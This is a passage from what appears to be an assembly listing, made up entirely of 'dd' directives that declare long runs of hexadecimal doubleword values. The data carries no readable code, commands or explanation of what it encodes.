7B19E059h dd 0F6103EA4h, 110CD23Ah, 4B792C45h, 7161240Ch, 8211FDh dd 0B00E21EEh, 0DEBC25F2h, 9397DB00h, 903B3B5h, 0CA02275Ch dd 434AA060h, 86233700h, 0F260CE07h, 0F75118DDh, 356A80EDh dd 179B7800h, 1CE319FCh, 0E708C0F8h, 0A5C24738h, 0BA51873Fh dd 0EFC00A9h, 15555CF7h, 3E897CB8h, 0BD01BA1Bh, 5058B611h dd 0E05DF164h, 1E8DDDAh, 88006578h, 47F71C4Ah, 714D755h dd 0CCEFE341h, 0A6040085h, 0C300095Ah, 664784B7h, 15158BCh dd 4D8AA7C2h, 0E18BBA12h, 0F300622h, 160788BDh, 0C380828Eh dd 10FC81C8h, 55199E07h, 1AE5A811h, 0EB046411h, 0FB2507BFh dd 49C0E2F7h, 188378h, 986E1F66h, 1530F6CDh, 6DF9F11Eh dd 1070551Dh, 22BFCF0h, 0F21E1DD3h, 0C0C9AE99h, 1F09E482h dd 318FB44h, 7ECDB534h, 79B9D64Eh, 1008985Eh, 12F3E31h dd 585CEBB5h, 0EB018317h, 8F7A9900h, 6A2E065Dh, 74B50096h dd 19FFDADBh, 563098F2h, 0F9F0281Dh, 0FE420763h, 0C0A5245Eh dd 312F7768h, 0BCF82703h, 0F1C50Ah, 9D64C3E9h, 85A1A7E0h dd 537B6600h, 0D0B96BF9h, 0E1FC19B0h, 1834C037h, 0B4B50835h dd 2FC4267Eh, 0B52C3940h, 870A76A0h, 0C2A25CAh, 0DB64FF00h dd 0F6E2EF8h, 548C974h, 0DA652380h, 0C354F526h, 1782BCA8h dd 8012113Ch, 0DE049D83h, 0D9222BD4h, 906315C8h, 5F00213Bh dd 0BA1F65FAh, 590C2A98h, 69F91533h, 0A8F8FA27h, 3169E490h dd 5890BBEDh, 0D79C48C4h, 55168E07h, 812396E1h, 4B26A8F6h dd 0D0080DC9h, 329C6C4h, 0F4F0ECE4h, 9F0009EEh, 6CA829D2h dd 5154E2h, 0A5E71D19h, 83B7041Bh, 78A40AEEh, 0CAB53704h dd 1462567Eh, 0B52E3F20h, 7AE70042h, 79A4075h, 271893F5h dd 0F281EE9Ch, 51FE6096h, 33799A1h, 0E8096490h, 111D4024h dd 32183350h, 7EAFB50Ah, 38503C5Eh, 1EB5002Dh, 126F451Dh dd 0CB295B9Fh, 0B012A0C0h, 779E5820h, 2C763B7Ah, 50B7FF01h dd 0F9CD2AE8h, 665C20F7h, 75017718h, 2199E20h, 0AD2AE150h dd 9A03D50Dh, 23FDF19Fh, 0E58CC840h, 0F717050Ch, 7F10B70h dd 0BFD076E0h, 4D033028h, 279A4EFh, 0E1D682A9h, 0E0904988h dd 6407A00Ch, 0CDF82413h, 0EEC36961h, 0BC0B4885h, 23842F83h dd 0F442002Ch, 0F9A1A302h, 169A3008h, 54FC0CF8h, 0C1E284C4h dd 3C9DF619h, 21800208h, 0BDA6AD9h, 0D20F0991h, 0C01DC36Dh dd 1B1189DCh, 0A1153831h, 0D8504FBDh, 399DF19Ch, 4E8B0068h dd 1E941079h, 0D181767h, 0F5C56E41h, 0CA02EC22h, 0A37B33B8h dd 24648041h, 21C0C784h, 0E6B8C539h, 0CEB50702h, 0C3BC8A07h dd 81F8D64Dh, 84AC061Dh, 0AEB53304h, 1562367Eh, 0B52A3B21h dd 6016D4h, 827B877Ah, 64B2A9F0h, 1C68A714h, 95850FB8h dd 148A943Dh, 23984FFBh, 84561F2Eh, 61748401h, 0D300F7EEh dd 0F107DA6Ch, 0BDF2B13Eh, 0A7652EE0h, 6022665Ch, 0D60A3017h dd 2C2AF99Eh, 0FDDA5240h, 22544684h, 68D700F4h, 0C4F335DAh dd 0B709767Ch, 80E19724h, 183FE594h, 8C60C017h, 1A022B68h dd 43F9A26Fh, 0F8BC7C62h, 919BF20Dh, 15271FB4h, 0FD01B4E2h dd 7BE669AFh, 0CC918303h, 0FF9C46Bh, 57BDA921h, 6AD03480h dd 0BC04D3E6h, 870A3356h, 1188CC8Eh, 0C749B1C1h, 31960CFCh dd 0E369F7C5h, 7F3EF046h, 55387E1Ah, 398020AEh, 0DC3CA8h dd 5744E4DFh, 7543BBBCh, 818CD04Ch, 4777E6F8h, 6049A4h dd 2A6A18FAh, 58016D1Eh, 63022D59h, 0EC7C588h, 0E3128471h dd 430680BEh, 343B4216h, 8D2AB60Ch, 19F0A0F5h, 0E90333FAh dd 8391808h, 467EB0B5h, 1303D70h, 6BC5F4B5h, 0D71002F8h dd 0F03C40A4h, 31D535D3h, 0E038A2E7h, 0F2AC3281h, 0A845302Ch dd 146DE724h, 10002545h, 0CD823BDEh, 44E00B7h, 67FF6237h dd 0FB001D78h, 0AAEFE295h, 146827A5h, 0FC0963E6h, 1A042DC1h dd 8F04649h, 0B1010884h, 80E76D51h, 0CCE5F47Dh, 2CA79760h dd 2DC44A8h, 0EFC4E82Bh, 0ECF0D027h, 1849D68h, 0AA5ECA70h dd 24ED0694h, 9782DA84h, 0F80808B0h, 0A4E4BA60h, 0D4CE4841h dd 71DBF902h, 48600B11h, 47126458h, 88022B20h, 4834B4F7h dd 9003FCE8h, 0D0F54C2Ch, 0C3446D26h, 7BE9B8B1h, 8BCC18BBh dd 25B8C8E8h, 48FAC00h, 7C1BD5DFh, 0C4A092E4h, 220BD81h dd 682F7049h, 82D704D8h, 9A811CB5h, 0FECF5C5Ah, 88C4C5C0h dd 0D001994Bh, 63E1504h, 50D492A7h, 0A18C01D3h, 0F0D7D140h dd 1198DBA0h, 30A1F69h, 9459A4E6h, 49ECC18Ch, 0DC99028Fh dd 584FA36Dh, 0D78964E2h, 56CA1400h, 29C0F0C4h, 2E9C0EA4h dd 469E0050h, 31B87B57h, 1D7A0661h, 0CCE24304h, 34D01B01h dd 0F8560AB9h, 0F3360C64h, 0F0099CFBh, 325994A8h, 0BE055601h dd 1BC8C902h, 2A06860h, 0B51C6A4Ah, 0A8C9C274h, 2282F5B8h dd 3012F288h, 2F09954Eh, 337D4A8h, 1F221FBBh, 80019321h dd 479DAB6Dh, 9F01F609h, 31BB6BF1h, 0E2F599FBh, 4859C060h dd 6A23106Fh, 3FB8AE03h, 0CA62AC7Bh, 0B8C93520h, 48A4FA2Bh dd 5C12404Fh, 9D880948h, 29D66406h, 7F1BF30Ah, 4F8598F1h dd 0A060C9E2h, 235556FFh, 0F1110E64h, 56076000h, 4FDBCB2Bh dd 72D05C06h, 3E12824h, 1B10EDB5h, 0ABCBFB4Ch, 537D639Fh dd 0C5E85DD3h, 213FD69h, 0E0046BC7h, 0EC9851AEh, 85953BCh dd 846D5614h, 0CB016F23h, 0AB7B36B8h, 3A88C918h, 55B805C2h dd 0A3740Eh, 7840E4D0h, 10B80833h, 6880736Dh, 28364409h dd 51108068h, 880854CCh, 9B582D44h, 22BC9758h, 5CE6007Fh dd 765EF9A3h, 2290B129h, 0F29E2B0Fh, 878D8188h, 0C4326427h dd 0F199D405h, 0A5FC01E9h, 83CDC0A1h, 5169DCA8h, 0F7180BF2h dd 5C970CA9h, 5F80BE91h, 3C71ED0Ah, 0B3406405h, 0ACC975E6h dd 0CD803828h, 3D78874Ah, 44E1D600h, 0BB811D64h, 790D0F98h dd 4825D290h, 0C818CBA1h, 0CD3FC0F0h, 0F20E94E6h, 87C8FD0Fh dd 2F997E1Bh, 9379AB28h, 48A4E3D8h, 9A186891h, 51231904h dd 3D50FC00h, 54CC68Ch, 419B6027h, 51CE0C19h, 822F602h dd 41671A59h, 1CFC571h dd 0A496621h, 0C87886A7h, 8200D36Ah, 87F3B04Fh, 9D085DAh dd 0D24CCD05h, 9F68FC01h, 309C2554h, 398C370Ch, 8492DA51h dd 1548B6Ch, 33DA6BD6h, 48608AEEh, 1D5848h, 797EBC02h dd 0C860E44Fh, 0A5261C0Ah, 34848831h, 89C6003h, 0BE452069h dd 7D34794Ch, 270CA8A8h, 29359F32h, 0E410650Dh, 481760BDh dd 46FF0218h, 21012928h, 0EB00B8AFh, 7BF1EAFAh, 0C1A5681Bh dd 8480AC80h, 38BB4B7h, 0FD1DC04Ch, 0EE82EDF1h, 0B886C0A0h dd 0CAA0E98Eh, 0D200BB59h, 6E78CB1Eh, 2AA808h, 23AA6379h dd 0FC840A40h, 0E864BD48h, 2C008CBFh, 49BCA6A1h, 8C9A2FEh dd 0FF98F18Eh, 2A581C07h, 0B6CF1A01h, 0EC34B061h, 9E273090h dd 0C7EB19E1h, 229F2427h, 0A01A9C38h, 0AB8B30DCh, 0EC5A00E4h dd 49861040h, 4872296Fh, 137B6B01h, 0CDE2501Ch, 0B029436h dd 2E645156h, 5C40EC33h, 2B4E5633h, 74001B72h, 0B8241EAFh dd 4B1A0226h, 80FC547Bh, 850B1722h, 0A0C72CCDh, 16986F14h dd 28335D2Dh, 1BD8A708h, 60E2CE0Fh, 0C45954B7h, 0C8D1C0FBh dd 3C73ADC2h, 0E2127702h, 63E82A03h, 767E4F0h, 66641256h dd 5B0F90C7h, 6D94E108h, 99811D9Bh, 4B6B0E34h, 47E02E7Dh dd 374F0374h, 1BAF31ADh, 8B884ACh, 0C1CEC390h, 5E645756h dd 0C39E2463h, 78FC5609h, 0FA9438E8h, 0A4EC0205h, 14DCED21h dd 0D82A0043h, 1F4ECF4Ch, 1560F9C7h, 173E633Ah, 0CCAE3C1Ah dd 987B820Fh, 0E09C23D2h, 0EC9C6878h, 8299C419h, 11B8D82Ch dd 6194038Ch, 9F626340h, 6D69DBF8h, 62F40D5Dh, 8216B414h dd 90A71BCCh, 307804ECh, 0BD1811FCh, 0C72699A2h, 0DC28EC17h dd 0B5026946h, 0DB7B34B8h, 2400E467h, 0A71AB8CCh, 87320731h dd 12E66613h, 90201C7Ah, 0B063D1C5h, 0B0BE5488h, 93F119E9h dd 3201E9D6h, 89F600B8h, 8B56DFC5h, 0F1771D3Eh, 6A0F81C2h dd 0F4A0B502h, 59C0079Ah, 40097FE6h, 88E40F49h, 0BCE012CBh dd 2970A5EDh, 251F7C15h, 197D0094h, 0C19BA64Fh, 1B0019Ch dd 85142F0Ah, 69B07032h, 0A648ECB2h, 457BC87Ch, 0B7B8911Bh dd 0C4890756h, 493F4A1Ch, 0EC10EBF8h, 0A70076BCh, 25012BDCh dd 0E3E5707Bh, 182D9C74h, 41237FF1h, 0A100FF58h, 0C5952E83h dd 4D179F1Eh, 2C594404h, 0D104F5BCh, 0D779A130h, 937038F0h dd 481C02D4h, 20C043ECh, 89C02124h, 0FA5DE7D3h, 240C763Ch dd 6018ABh, 13BA622h, 0A969F4BCh, 418C68B8h, 58935DA0h dd 0ECD8F614h, 40889B2Ch, 1D4B703h, 94971C02h, 71A853B8h dd 59813D60h, 0C7306C1Eh, 11FC48DEh, 26D31600h, 88F07E46h dd 7D7900DDh, 0AC77914Ch, 9896C5A9h, 27E90680h, 8F64E0h dd 6EE4DBBCh, 5E697220h, 465E34B6h, 70810711h, 2361ECD3h dd 4ADD4765h, 0C9CF9047h, 4FF82454h, 0F0C8B0CBh, 4F8AE8C0h dd 60CD1904h, 309C48D4h, 0D8B43F38h, 79E72802h, 849CA978h dd 50602CE8h, 84270BDAh, 0F789664h, 7CDA66DDh, 35D2E1C0h dd 0E6186828h, 0BC21FF78h, 0E562245Fh, 3CD099Ch, 0C89B2C25h dd 86003168h, 6B1CAD52h, 4C6C4004h, 7F310825h, 0D61BCE68h dd 64398844h, 23FF1D9Fh, 0E4689589h, 125767Ch, 34BF8881h dd 0EFF665A2h, 84A0E982h, 0B3055D42h, 0EEC9D12Ch, 403B2C06h dd 2209B50h, 0A8770F9h, 47E22840h, 6C21585Eh, 6BF4D8DEh dd 0CEAA0078h, 0E2FDA79Bh, 0A60239EFh, 2A909D84h, 0DC746052h dd 0C8BD811Bh, 0E42FD65Dh, 80D83581h, 2B959031h, 681840EAh dd 4E980543h, 0B4859884h, 0E1330278h, 0AC782680h, 20997B27h dd 23A9E328h, 80A3000Bh, 0CC6E9DCDh, 9812D6FFh, 28C2C5h dd 0CCF0184Fh, 67E088A0h, 0D776804h, 14F02C69h, 3037601Ah dd 0A24A6D6Eh, 69ECA130h, 8C5777h, 8D121D21h, 0B7E90929h dd 90678300h, 0C9DE0256h, 0BC0A00F5h, 25ADA0C4h, 0B2004B57h dd 6FB8E94Eh, 281AFh, 20658870h, 5E1EB3FCh, 0A68AAC00h dd 0DC27FBFEh, 63FF0069h, 0E0316126h, 0C2078D5Dh, 0AA4B3F25h dd 0CEEAA890h, 0E9220384h, 0B85CB462h, 0B97E18A8h, 8C47E2C3h dd 0BE9681E6h, 8142E2DDh, 18460EEh, 2AE10039h, 0C20233F7h dd 0FD023666h, 3EBBE97h, 706C51A1h, 86F7EEh, 0E86A10Ah dd 0C43EE6B9h, 0CD8060B4h, 643A7A0Ch, 399600E5h, 0F062D49Dh dd 3F019FDEh, 0A5ACC986h, 50546DD2h, 57E064F6h, 0D1003A0Dh dd 52F9E90Ch, 13AFA307h, 8BD84C03h, 63DF64h, 0DB3AA497h dd 2998AB06h, 0E7F6E401h, 0EC4D9584h, 91A4420h, 24231478h dd 182B0861h, 23DA7055h, 0F1158C84h, 6FD2009Ch, 86D6CADAh dd 0AE900076h, 569DA634h, 48120458h, 0F801FB14h, 9BFD027Eh dd 605900C3h, 47416A54h, 4A0062F3h, 0EEA38077h, 0B4CF434Ch dd 0C9465E1Ch, 77259402h, 78F96827h, 70C4192Dh, 0B7004908h dd 0E7F7797Eh, 166E1F65h, 52E3B588h, 84D50BB0h, 9840FE89h dd 195B82DCh, 1323C02Fh, 4C6C6000h, 9E2F6Bh, 79B74598h dd 0B89DF5A6h, 0EA1E0171h, 990BFC4Fh, 1DB8AB31h, 982D11E0h dd 9148D4BEh, 0F803D07Ch, 112D0286h, 98F16E44h, 0F41CDCFAh dd 91897B88h, 88D467F3h, 9C0C1751h, 7C2E5112h, 24A80010h dd 1A724AE2h, 0E0B4E5A1h, 0F0B49D83h, 0F181F83Bh, 963275FCh dd 401D8070h, 0D21152E4h, 783A875Eh, 0D3001523h, 7BED2642h dd 769502BAh, 6DD1F3A6h, 7C021840h, 0E4198018h, 98FD68D0h dd 0FCF62534h, 99D58085h, 0D42F2A28h, 0ED021323h, 600E5CAEh dd 12EC3483h, 0C088B4E5h, 0B709F978h, 82365625h, 5A6DE65Ch dd 40BC0540h, 860CBFA0h, 6976A814h, 59250890h, 5140921Ah dd 18EB5974h, 479D0F38h, 0C474791Ah, 7981F186h, 24B4A5B0h dd 18FA1300h, 0B020099Ch, 7F760053h, 0DF56C587h, 0FC4A1C77h dd 0A0BFBC80h, 0A8AD6C51h, 9A951989h, 582C009Ch, 7CCD18Dh dd 425EBEB1h, 0E403F080h, 40B661A4h, 530CFC09h, 0F1B25854h dd 0BC247E2Ah, 0A2692727h, 8193F22Ch, 0E2E1BA40h, 0BBB8703Dh dd 0E4AA8E2Eh, 8014D809h, 0A1A3298Ch, 14189A2Bh, 5C68170Dh dd 31B8B480h, 6CBCD37Bh, 0B0C72358h, 5CD10E6Ch, 2469BA6Dh dd 15534C90h, 22778D00h, 838F2C64h, 0EDF60BABh, 0A8C0FCCCh dd 3795B51Ah, 17160090h, 564FF47Eh, 0B8AD2479h, 414F8DE2h dd 0C411F1E4h, 382180F2h, 619CAB28h, 917E00D4h, 5F223FD0h dd 7B25BA65h, 76D896F1h, 341D9764h, 0F9812F91h, 0E9E55FD7h dd 88B068A6h, 27A16478h, 924876C7h, 6DF80490h, 0F678838Fh dd 0F45181FAh, 0F5181471h, 2BBE8B00h, 1399F420h, 0A1210B40h dd 2429FE0Fh, 80653429h, 7060BFE4h, 8D3B4DDDh, 0BC118AE8h dd 0C8249890h, 7AC50D42h, 8D060084h, 0A5AE01Eh, 8318F466h dd 2E29FD24h, 456909B8h, 0A8646AADh, 0BE01D87Ah, 6C90DEB7h dd 7C680671h, 0E1262419h, 7CC6C08Ah, 94953Dh, 41D07113h dd 3820AF19h, 0E32AEDF2h, 962400B8h, 0D7CED848h, 72070F91h dd 3552880Eh, 20CBA155h, 30F808C4h, 4D7CEC2Ch, 0C1C9429h dd 91F52A8h, 805181BCh, 0EC20C416h, 5C602Ch, 6F0376D6h dd 2747853Eh, 33E9E1F0h, 302FA2DCh, 6D009E04h, 5E0194FAh dd 25F72ADFh, 84A162E6h, 32E8A61Bh, 800303A0h, 2F44857Dh dd 0D0974F98h, 5A00C63Eh, 0A3CB672Eh, 9176094Dh, 69DB7709h dd 0A8FCA15Dh, 0E0699AFAh, 0A46E5C00h, 5DD70F17h, 46C67F03h dd 18E2BA2Fh, 290C9BC0h, 911FAF17h, 6200B3F7h, 0A16A2658h dd 6F8002ABh, 6EDD107Fh dd 0AA27A498h, 0D24FC00h, 2CF23BA1h, 20E3007Ah, 2B69C704h dd 5F03D402h, 24AB8F39h, 19C12F67h, 2FD6081h, 5470F1BCh dd 2064E10Ch, 58C6B34h, 7B32B8AFh, 0C0DCB2CBh, 2FB8C636h dd 0C98400B4h, 0A1948B58h, 19DEB99h, 4D2A1750h, 0A2E8E315h dd 986C30F2h, 3C7E690Eh, 415FA0D4h, 90E1AF70h, 9AF227DCh dd 57E28C44h, 7B7C0640h, 18EF5CD0h, 0D71EA305h, 328E2BCh dd 3EBBE25Ah, 0A528141Ah, 5002DC10h, 0FE489F62h, 7EBD98C0h dd 0C9DC1CB0h, 0D2A0B5C0h, 0C7FA9BF1h, 0F1C8A271h, 48C17EB3h dd 7F48F2A4h, 10018950h, 0B5A21Ch, 8E3D0409h, 0C5952BCDh dd 0B7426800h, 14026548h, 249890C7h, 0F64C72A8h, 80B7DE3Ah dd 0D8875EB3h, 0A20E5BEh, 0E62199D4h, 90902084h, 0B79088EBh dd 9BD513F6h, 255449FBh, 0DA984490h, 791D3E02h, 2F1F7D63h dd 8F9C5580h, 2D7AA8CEh, 2F70D000h, 997B0926h, 2C75E9AFh dd 0E6311FCh, 2740F877h, 6E025268h, 86065598h, 0B50BEB4h dd 0F1A9AD2Bh, 68E1B0A0h, 334A552Eh, 0A1BC3483h, 40E21F69h dd 805DF8D8h, 8830E129h, 0DE7B4965h, 24BD0AEEh, 81C0FAA1h dd 0A97D7E03h, 7B5474CAh, 0BCB5D009h, 440C4730h, 585B6011h dd 0E98A0290h, 0F362E70Eh, 0DE4FB07Ah, 4AE17440h, 9A75A2h dd 0B0687966h, 779F8636h, 6D637609h, 0B998E8C5h, 293102E7h dd 372AF7ADh, 0D9CD4861h, 8CC7085Dh, 5356FD04h, 0F462FE64h dd 56055A20h, 0A2440278h, 9BD764B1h, 65007C64h, 2EFECEACh dd 16521242h, 8288B580h, 0C8D2C444h, 4D4ECE00h, 36977535h dd 98F21D1Dh, 50A02D51h, 0C7674163h, 4189B24h, 9637EF80h dd 0FD58E15Ah, 146E2Fh, 39EF519Ch, 621A414Ch, 0D1F871A7h dd 0DD405856h, 0EF9A8A9h, 96C52006h, 0C9B360C0h, 1A000529h dd 26777B9Ch, 49724AFh, 0F12AE1D7h, 7EC48C91h, 0F005C0B1h dd 0EC8B0C8Fh, 0E8C4C7C8h, 3098F884h, 3CF34CF7h, 9CA0AB25h dd 0FBE9A585h, 77DEACA0h, 287CC049h, 9571101Dh, 1068D140h dd 1666076Fh, 0B090781Bh, 4E8CA7E4h, 0CDB0C029h, 0DD0925E8h dd 0C583D6FFh, 6108E40Ch, 402B2471h, 0D72205A0h, 0BE98F5E4h dd 96C4AD12h, 6053C00Fh, 858BEC23h, 24F0986Dh, 50F807E6h dd 7F80AA66h, 0B092547Bh, 5770B64h, 0F4222C71h, 860F728Eh dd 141CF75h, 0B5DD48B1h, 96F3A21Ah, 7831F939h, 40706E16h dd 0BB2B0F7Dh, 97207F4Ah, 0C9260718h, 5E09ED04h, 0B4828062h dd 67C620EFh, 9C004933h, 0F7FD4D6Dh, 177EBCF0h, 93182369h dd 16FCDB78h, 2EC808CBh, 9283F2C7h, 0EC7BD132h, 0B4C47992h dd 0F079F9D8h, 121E4E01h, 81472B4h, 0BE2E7F4h, 0A8054ACFh dd 1A02B460h, 80E4A648h, 79916DFBh, 97220BA2h, 1C01C047h dd 10E310F4h, 4CC1807Ch, 5C246C1Eh, 49802EE5h, 885E8802h dd 0CF20D05h, 3530BEE2h, 23D73F6h, 8495906Dh, 50E476E6h dd 90254Eh, 24947CDBh, 0E1DB679h, 5F361012h, 67A09F14h dd 7D5200E0h, 95F71D20h, 1E781802h, 8D9DFB21h, 1E296F4h dd 4080B36h, 0E4E8629Fh, 654A274Ah, 0F90370D2h, 74FC0140h dd 8FCF7CEBh, 231838E6h, 0E8F329ABh, 7A1C1363h, 163316B9h dd 238C2F50h, 0F9710BF2h, 0A367470Eh, 6257D0BCh, 4648CC77h dd 0A0B200C4h, 0CD2A03A7h, 12D65EA4h, 0E218A2F8h, 6FB033EBh dd 2B602461h, 0B9F960D9h, 0F7220F06h, 0C9A0E592h, 0D73FF83Ah dd 770ACAF0h, 0F08FA186h, 211C308h, 0ED29D1E4h, 8CF958C2h dd 40F0860Eh, 6AF78B70h, 6290204h, 0B2D6EF4Ch, 215E7C5Eh dd 689F808h, 1E84F224h, 440A80h, 81AAA48Bh, 600029BDh dd 98954D71h, 39CD1894h, 96350401h, 0F288E291h, 0B26630F2h dd 3306E00h, 0A372CC26h, 0B0D67036h, 0C0E24520h, 0C926059Ch dd 0D4202846h, 8C1D4C26h, 0D0A57D8Ah, 16B018B1h, 8E99D08h dd 10174268h, 0DB27EC41h, 1C9084BEh, 0A1807473h, 17AA309Bh dd 0DAB7E691h, 91C81795h, 4F4880C0h, 7881EFC7h, 345D076Dh dd 5B94E462h, 4F150A9h, 0E0E1D50Eh, 0CD99B1E9h, 0B8450067h dd 1C69D983h, 0D86085ADh, 0C56A9530h, 2FEB4F4Dh, 0C82308h dd 5FB7782Ch, 0CE0FE962h, 81820663h, 9A16D456h, 484C0029h dd 25644708h, 1DBC9707h, 50818992h, 0E3E4A124h, 1FADF13h dd 0D10050D2h, 3A275381h, 12B8B46Bh, 80A04762h, 9D0ECBA8h dd 8136B916h, 76B2F800h, 0F02C4B8h, 383EBAB6h, 14E89D60h dd 0D703817Eh, 0F6A821D4h, 0DC0E91E4h, 0FC74B1E9h, 4CB853h dd 6407E157h, 0A01EF826h, 0C3790400h, 5F33387Eh, 40844AF1h dd 6367C8D4h, 0F9386956h, 0A1A304FDh, 84A0137Bh, 2D71F00Ah dd 44C0F717h, 0FB00FA3Ah, 26892BABh, 5AA57E31h, 9C7C063Dh dd 0E30BF990h, 0E2877D1Bh, 4CF04064h, 46D4008Eh, 47ECD7A5h dd 0F0E3C399h, 9FEAE780h, 10C0C731h, 7418D09Ah, 5BE9EC08h dd 0E76F83B9h, 413F4AF7h, 0A4A295FFh, 0B8668304h, 5E100FABh dd 0E80CF3A3h, 0DF0ECC21h, 813E6362h, 0E7670BCFh, 0A0B0088Ch dd 0D74CA920h, 0D9121DC9h, 9D931EC0h, 0C878F40h, 0DB67063Ah dd 0EB008229h, 0C0E4C8BFh, 0FCCF2BC6h, 6CCB00EEh, 86799D68h dd 91C0AD8Ch, 3F94DEDAh, 81CA004Bh, 53F0880Eh, 0DF7DA548h dd 5B9A960h, 0E2090A92h, 4E460068h, 558D256Ah, 6CA0A1D4h dd 0D318E7E9h, 9F110B8Bh, 0C166006Eh, 0AFC79B89h, 0C474A37Eh dd 3E213660h, 1CA6696h, 34382382h, 8095DE8Eh, 1A45B271h dd 0E16BD9h, 238FBE37h, 0CA9DBADh, 3DDFDA00h, 694092F5h dd 99FF0C0Ah, 0C489A38Bh, 0DE287800h, 0A4C36230h, 84A6629h dd 0E300217Dh, 6FC1287Bh, 0E2B8922h, 0E15FFB10h, 3BDCDF03h dd 0A49069E2h, 0BF0032C6h, 458EA7FDh, 33AAC1Eh, 3863DB7h dd 9A0DF04h, 0FF3ABC29h, 6C309466h, 87238098h, 30D13D55h dd 4058DEACh, 0D456E7E8h, 70712790h, 9093563Ah, 41003922h dd 120A6699h, 0CFB4306h, 0B68C0DBCh, 113DDEC9h, 8B7380D6h dd 0EBDCA12Eh, 0D9F8EF72h, 1CB8F427h, 0C02485DFh, 9E0993B5h dd 40250A5h, 6B26DCE1h, 0D2D884B0h, 0C0666F60h, 0C4A38910h dd 3F802CC8h, 89B16697h, 919918EBh, 7AD81931h, 0E40D6C00h dd 4B6BC583h, 0B7FC12FFh, 142416A7h, 8C4431D3h, 0EB3C3A4Ch dd 17041C80h, 743B3320h, 2BFEC400h, 8222CD32h, 596600DEh dd 0D38BE7EAh, 69C03B90h, 942E6C2Dh, 876D00E3h, 0B21CDB53h dd 8500B8A3h, 23651A07h, 38A090Fh, 71FEFC62h, 0C2C87BE5h dd 0E4CAB01h, 21456C2h, 31022874h, 107F3182h, 12877EFh dd 47F733DFh, 89042292h, 23BE6689h, 8B2C6C10h, 0BD6FE0F1h dd 25F90111h, 29DC3EA8h, 0B7499D7Eh, 0F041E652h, 459A1050h dd 18179C24h, 28A624DEh, 0C1002B02h, 8C09893Eh, 31B79050h dd 0DF69A58Ah, 2BA05091h, 0CB7351DEh, 87642500h, 615CD0EAh dd 57BB0089h, 0ACF5605Ah, 9509A996h, 91A49869h, 0DD18F934h dd 3E796208h, 40CBC4EFh, 6162D5A7h, 0BD540091h, 0FA6780C5h dd 7C5C7D3Bh, 8CE63E02h, 50E79425h, 2CDC1817h, 0CD04F1ABh dd 25929A0Ah, 0DE9998FEh, 0E12BD98h, 0C0E4D845h, 3090BC60h dd 956C51C0h, 0A0B109h, 1BEACF5Dh, 0F464E386h, 0DD384D01h dd 0B38C5EC7h, 9D0A4180h, 1FBA0641h, 674FB203h, 0F1945FA5h dd 0F460FB79h, 8C97192Ch, 4391B19Dh, 0CC883934h, 5F0E50DAh dd 1FF0FCCFh, 5FD8180h, 1CE6AAC4h, 68A826D0h, 0E016F5F8h dd 621C9346h, 92310828h dd 0E54081C4h, 1939286Dh, 9D71D409h, 0D63018D9h, 1C33B08Bh dd 98F95A6h, 908DDDh, 0B83CFAA4h, 34708F79h, 579A20EDh dd 0A01AD699h, 81AD05B8h, 5C2291h, 98B4F143h, 2763F9h dd 0FB81683Bh, 8C9D4B1Ah, 0E01D52h, 2305BBDCh, 1293A403h dd 48E96C25h, 2C80D97Ch, 2038B806h, 0BF3F0014h, 7783DFAh dd 17009F7Ch, 2A2BD04Eh, 16197BD5h, 3054FCF6h, 13802838h dd 901F9171h, 0CFCF3262h, 892FA0DBh, 90FF202Ah, 0B28B30DCh dd 5C67A031h, 4AA35D00h, 0A19F4E5Ah, 0B0FBF4D0h, 0EC250145h dd 712F8543h, 24AEC5DEh, 0A81DB194h, 6DC0FBC4h, 72C209F3h dd 0D8784C86h, 814DF70Fh, 0CE8AB40h, 0DF3071A4h, 0BDC239A5h dd 2C6E01CBh, 23E3AAF5h, 9E0899E5h, 0CBF0E421h, 0AC8600C3h dd 0C9980653h, 209F866h, 87011224h, 4F029B4h, 0ECDDBFAEh dd 42C927Ch, 3A3285DCh, 384CD0FCh, 413CDB7Dh, 23D0C8F9h dd 62DE01F2h, 18F73E74h, 0D6A288AFh, 65936201h, 0DCE4B2AAh dd 4F42EC0h, 0CCDB6182h, 99CC287h, 6CBA7820h, 4FE9005Eh dd 3EA738A8h, 6630D097h, 0C17051DDh, 0D998CAh, 42AA9B92h dd 6CB81CE1h, 7CB6E309h, 4494D3h, 7DBD92F1h, 5DE34767h dd 0C891100h, 0AB14B1E0h, 0F8A501DCh, 0BB77EDAAh, 0F20C72E8h dd 1B013038h, 7D21E800h, 22B70E93h, 73C870C0h, 380C1E29h dd 45440E2h, 7F798A02h, 80148E58h, 0E58BB176h, 0C0B80759h dd 8040D64Ah, 27A0B771h, 806AF23Ch, 0DCC4662Ch, 0CB232B93h dd 5418DF39h, 0C9000149h, 0D10677E9h, 0B5B9D8h, 391A0F75h dd 652F1376h, 4086DE28h, 0B68A558h, 46D5067h, 0ECD325B1h dd 0E8C5B8A2h, 11AE608Bh, 54DED08Fh, 8CFA8324h, 0BFE3708h dd 141880B7h, 3220222Eh, 5A160F4Bh, 7D29F38h, 8204E8h dd 93EFF880h, 0B03E2317h, 85AAE808h, 0E247A8Bh, 9E00593h dd 285A0257h, 0C06D0326h, 76639744h, 7230DCF8h, 0E9C8448Ch dd 0C6287100h, 7C06E63Ch, 58FF27Eh, 41300838h, 229840A6h dd 93DEB063h, 0A3BC11C0h, 14C203h, 881E41C9h, 0E4046871h dd 0DD0FBB07h, 17010952h, 698BB78Ch, 0D30085E8h, 32F81270h dd 4462B300h, 4FF9ACC8h, 4F224A2Ch, 0AFAC0438h, 912A0269h dd 9405E0FDh, 3C811D48h, 0B874CC10h, 40008C7Dh, 2F3B320Fh dd 587E4474h, 0DC10A43Fh, 36DD00A0h, 8F21A609h, 0F7720001h dd 2332754Ah, 0DF021F45h, 698763DCh, 68E620D6h, 0FC3925B8h dd 0AE838C26h, 502A14h, 6B69991Bh, 727D2B04h, 0DD11949Ah dd 9118B22Ch, 0A59CD92Eh, 13607C01h, 2D3C281h, 241756D4h dd 6286E1h, 70248CCBh, 0D13C8B7Dh, 5C6680EBh, 386201Bh dd 262AF6A8h, 283CFDAFh, 0B98A3034h, 256A4FA1h, 54073491h dd 45C9A3E6h, 6022E40Ch, 0CA70E2h, 0C1C7645Bh, 0F25EAF4Bh dd 58E7E18h, 54660429h, 2291DCAAh, 1A71012Dh, 13D4C352h dd 5900BFABh, 2FDB8E2Ch, 0FC95549Ah, 0B9C460D6h, 46C2F842h dd 387D721Dh, 0FA2FB703h, 58291E99h, 2D26406Fh, 0F10B5641h dd 6EA5E802h, 462BE6B3h, 0E3680E24h, 0AB9EA92Dh, 0D1D8BC4h dd 0CB01D09h, 8A08CBB9h, 66AB152Ch, 0E800B9BFh, 79E7CBF1h dd 